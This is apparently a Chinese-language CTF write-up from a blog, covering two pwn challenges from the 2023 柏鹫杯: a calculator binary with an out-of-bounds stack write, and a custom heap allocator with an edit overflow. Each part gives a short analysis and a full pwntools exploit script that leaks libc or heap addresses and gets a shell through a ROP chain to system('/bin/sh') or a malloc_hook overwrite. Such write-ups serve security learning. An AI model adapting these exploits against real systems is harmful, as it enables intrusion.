2023柏鹫杯
eval
程序分析
简单看一下发现是实现了一个计算器,主要内容实在
sub_E50
中,说实话看的时候挺迷的,主要是那个存放数据的结构体没看懂啥规律,后来参看的别人的思路,就是硬调试
漏洞其实不是很难找到,当你输入+100时会发现有一个段错误,就可以想到会有一个非法访问地址,就会发现在sub_DC9
中有一个*(a1 + 8 * v5) = v8;
操作这里a1
是一个栈地址,v8
是一个运算符号后面的数据是我们可以控制,但是这个v5
也就是v4
发现是0
,接下来做的就是看看有没有办法控制这个v4
(这个v4
就是结构体中的第四个成员,也就是运算符号前面的数据)
发现在sub_AC7
函数中有这个操作,而且调用sub_AC7
必须在调用sub_DC9
前面
发现总共有两个地方调用了 sub_AC7
,一定不是 sub_E50
中的那个(那个在 sub_DC9
后面)那只能是从 sub_CB1
调用了
但是想要进入 sub_CB1
需要满足 if ( !(unsigned int)sub_966((unsigned int)v3) )
也就是当前的检查的字符是运算符号,这样才能进入下面的 sub_CB1
,而想要进入 sub_AC7
不能是第一次进入这个函数,也就是说必须有两个运算符号
然后就可以达到任意在栈中任意地址写,这样就可达到修改 main
的返回地址,至于泄露地址就是利用 printf("%ld\n", a2[a2[3] + 3]);
同上面一样向 a2[a2[3] + 3]
中填写一个存有 libc
的栈地址,这样就可得到发送的数据的格式 +num+p64(system)
exp
from tools import *
r = process("./eval")
elf = ELF("./eval")
libc = ELF("./libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
payload = "+52+1"
r.sendline(payload)
libc_base = int(r.recvuntil("\n")) - 244 - libc.symbols['__libc_start_main']
log_addr('libc_base')
pop_rdi_ret = libc_base+0x23b6a
system_addr = libc_base+libc.symbols['system']
bin_sh = libc_base+libc.search(b'/bin/sh').__next__()
debug(r,'pie',0xE9d)
log_addr('system_addr')
payload = "+54+"+str(system_addr)
r.sendline(payload)
payload = "+53+"+str(bin_sh)
r.sendline(payload)
payload = "+52+"+str(pop_rdi_ret)
r.sendline(payload)
payload = "+51+"+str(libc_base+0x0000000000023b6b)
r.sendline(payload)
r.send("\n")
r.interactive()
heap
程序分析
这道题的漏洞比较简单,主要难点在于它自己实现了一个
malloc
和free
,实现了fastbin
和unsortedbin
,并且这个chunk
头还有glibc
中不一样
一个正在使用的 chunk
第一个成员是一个7位的随机数,主要用于在
free
中会检查这个数字是否被破坏第二个成员高4位用于存放
size
,第四位是0xaaaaaaaa
,也是在free
中会被检查带三个成员是下一个被使用的
chunk
(大小相同), 即使先一个chunk
被释放到这个也会存在
一个被释放的 chunk
发现和上面的相比多了两个成员,一个是指向上一个
chunk
,一个是指向下一个chunk
漏洞利用
漏洞是在
edit
中有一个溢出,并且存在show
,在程序中也可以找到后门函数,思路就是fastbin attack
修改malloc_hook
为后门函数
exp
打本的话需要添加
env={"FLAG": "it-is-flag"}
因为本地没有这个环境变量
from tools import *
p = process("./heap", env={"FLAG": "it-is-flag"})
context.log_level='debug'
def add(sz):
p.recvuntil(b"> ")
p.sendline(b'1')
p.recvuntil(b"size: ")
p.sendline(str(sz).encode())
def delete(idx):
p.recvuntil(b"> ")
p.sendline(b'2')
p.recvuntil(b"index: ")
p.sendline(str(idx).encode())
def edit(idx,context):
p.recvuntil(b"> ")
p.sendline(b'3')
p.recvuntil(b"index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"data: ")
p.send(context)
def show(idx):
p.recvuntil(b"> ")
p.sendline(b'4')
p.recvuntil(b"index: ")
p.sendline(str(idx).encode())
show_p=0xEA5
edit_p=0xE42
add_p=0xD20
delete_p=0xDAA
add(0x100)#0
add(0x100)#1
add(0x100)#2
add(0x100)#3
add(0x100)#4
delete(1)
delete(2)
edit(0,0x111*b'a')
show(0)
p.recvuntil(b'a'*0x111)
key1=u64(b'\0'+p.recv(7))
log_addr('key1')
edit(0,0x120*b'a')
show(0)
p.recvuntil(b'a'*0x120)
heap_next=u64(p.recv(6)+b'\0\0')
log_addr('heap_next')
edit(0,0x128*b'a')
show(0)
p.recvuntil(b'a'*0x128)
base=u64(p.recv(6)+b'\0\0')-0x203060
log_addr('base')
edit(0,0x110*b'a'+p64(key1)+p64(heap_next)+p64(base+0x203060))
add(0x20)#1
add(0x20)#2
add(0x20)#5
add(0x20)#6
debug(p,'pie',edit_p,show_p,add_p)
delete(5)
delete(2)
edit(1,0x31*b'a')
show(1)
p.recvuntil(b'a'*0x31)
key2=u64(b'\0'+p.recv(7))
log_addr('key2')
malloc_hook=base+0x2031E0-0x28
edit(1,0x30*b'a'+p64(key2)+p64(0x30aaaaaaaa)+p64(malloc_hook)*3)
add(0x20)#2
add(0x20)#5
door=base+0xEAD
edit(5,p64(door))
add(0x20)
p.interactive()
标签:柏鹫,sub,libc,edit,add,sendline,recvuntil
From: https://www.cnblogs.com/trunk/p/17770388.html